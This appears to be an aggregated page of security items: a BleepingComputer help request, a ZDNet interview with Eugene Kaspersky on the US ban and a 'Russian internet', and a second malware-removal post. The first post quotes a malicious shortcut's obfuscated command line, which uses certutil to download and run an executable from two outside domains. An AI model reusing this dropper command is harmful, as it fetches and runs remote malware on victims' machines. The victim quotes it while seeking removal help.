Featured Post

.Lnk file with cmd usage - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputer

Image
.Lnk file with cmd usage - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputer.Lnk file with cmd usage - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputerPosted: 06 Jul 2020 11:33 AM PDT Hi all,Looking for feedback on the likelihood my double clicking of a bad .lnk file caused damage.. When I did double click it, I remember getting a standard windows dialog box. I believe it said the path did not exist or shortcut unavailable.. I'm not finding anything in my startup folder for C:\programdata or my username appdata startup folder...  I ran scans with malwarebytes, Hitman with no results.The .lnk file target was:%ComSpec% /v:on/c(SET V4=/?8ih5Oe0vii2dJ179aaaacabbckbdbhhe=gulches_%PROCESSOR_ARCHITECTURE% !H!&SET H="%USERNAME%.exe"&SET V4adKK47=certutil -urlcache -f https://&IF NOT EXIST !H! (!V4adKK47!izub.fun!V4!||!V4adKK47!de.charineziv.com!V4!&!H!))>nul 2>&1The .lnk file 'start-in' was:"%APPDATA%\Mic…

Kaspersky speaks on US government ban and a closed Russian internet - ZDNet

Kaspersky speaks on US government ban and a closed Russian internet - ZDNet


Kaspersky speaks on US government ban and a closed Russian internet - ZDNet

Posted: 16 Mar 2020 12:00 AM PDT

kaspersky1.jpg
Image: Max Avdeev

In 2016, Kasperky's annual revenue was over $640 million. But that was all put at risk when the US government banned the use of the company's security software. According to Eugene Kaspersky, the reality was that the US government's business was insignificant and there was no foundation for the accusations made against the company.

Kaspersky describing the time as a "shitstorm".

"So it's made of the fake data. So it's not truth after two years. After two years, no proofs, no data at all," the eponymous CEO said.

At the time of the ban, his company transacted just $50,000 with the US government -- a figure he called "nothing", noting that the congressional hearings into the ban had cost the US government far more than the revenue he lost -- at least initially.

Banned in the USA

So, why was he singled out?

"I think that it's better to ask this question on the other side of the Pacific Ocean," he said.

Kaspersky told ZDNet that his software doesn't focus on attribution but could detect state-sponsored threats. He suggested that threats fell into two broad categories: Those that stole data and were focused on espionage; and those that stole money and we're most likely criminal. And he believes that the software's ability to detect those kinds of threats and suggest connections between the source code of malware it detected and malware from other sources, among other factors, suggested that perhaps the software detected something the US government didn't want revealed -- a view supported by Kaspersky APAC boss Stephan Neumeier.

Since the ban on the company, Kaspersky noted that revenue in other parts of the world has increased such that the losses suffered in the US following the government ban were covered by business growth in other regions. And partners that left Kaspersky in 2016 are now returning, suggesting that Kasperky's business is starting to recover there.

But, despite the cost of the ban, Kaspersky says he would not do anything differently.

The company opened Transparency Centers in Zurich and Madrid. In early 2020, new Transparency Centers will be opened in Kuala Lumpur, Malaysia, and in São Paulo, Brazil. He noted that the opening of the San Paolo centre has been delayed as a result of the COVID-19 pandemic.

Isn't this like Huawei?

With Huawei facing similar bans, Kaspersky said that it was something of a furphy to suggest Huawei was installing telecommunications equipment as a way of giving the Chinese government a way of spying.

"I'm afraid it's both as a geopolitical and political motivation", he said.

Kaspersky suggested that if the Chinese government wanted to spy and steal data that there were easier and cheaper ways to do so.

"There's cheaper ways to do it. To me, it doesn't look logical".

The Russian Internet

The geopolitical climate that resulted in the ban has changed over recent times. One of the emerging trends is that many countries, including Russia, are looking to protect their sovereign interests online. The so-called "Russian internet" is one such initiative. But Kaspersky says he doesn't see this as an isolationist policy.

The ability for Russia to actually disconnect from the internet and establish its own national network is probably not possible, he said. There are too many international connections and cutting them would have far too great a cost.

"Russia, as I see, they want to have the data in house, they want not to be dependent on the rest of the world. So what they do in Russia is to test their system, if it works alone, isolated, to be sure that if something happens the system must work itself".

With increasing nationalism feeding suspicion in many Western countries, including Australia, Kaspersky has some interesting views on what it means to be in business in such a challenging global climate.

Related Coverage

Jackyhillty malware (mightve fixed it) - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputer

Posted: 06 Apr 2020 03:16 PM PDT

Well the good news is Ivent needed to post here in ages. I was afraid Id forgotten my password.

I noticed yesterday and the day before in NoScript that there was a script trying to connect to a website jackyhillty dot com or net. I thought maybe it was some new widget on websites at first, but I soon noticed it was on EVERY page. Thank goodness for NoScript! I scanned with AVG and MalwareBytes and one of them found a PUP something and quarantined it. I also ran spybot s&D. I downloaded kaspersky but it doesnt like malwarebytes, so I cancelled Kaspersky and figured Id remove Malwarebytes the next day (it was 6am lol). Which I did. Then needed to restart to install Kaspersky, but they keyboard was disabled at the Windows login. I tried booting into safe mode, no luck with the repeated shutdowns method. Frustrated, I was able to get into the ASUS bios and booted into Elementary OS (which I setup the other day finally after years of planning; Ive had enough of Bill Gates and his arrogance in the public sphere) where I did a little research and was about to post here but saw I needed to get the Windows version info, so I decided to restart into windows one more time to try to get it or try from ASUS bios. It was then, that I found screen keyboard and was able to login to windows! The keyboard was now working, and I was able to get Kaspersky installed, and Im going to try scanning with that.

Is there anything else I should do to make sure this malware is gone?

Version 1903 OS Build 18362.720

Let me know anything else you need.

Thanks as always.

Once this is done and I get everything in order, I am switching over to Linux permanently. :D

Edited by hamluis, 06 April 2020 - 05:28 PM.
Moved from W10 Spt to MRL - Hamluis.

Comments

Popular Posts

System detected an overrun of a stack-based buffer in this application [FIX] - Windows Report

Valorant anti-cheat lead answers many questions on Reddit - Millenium US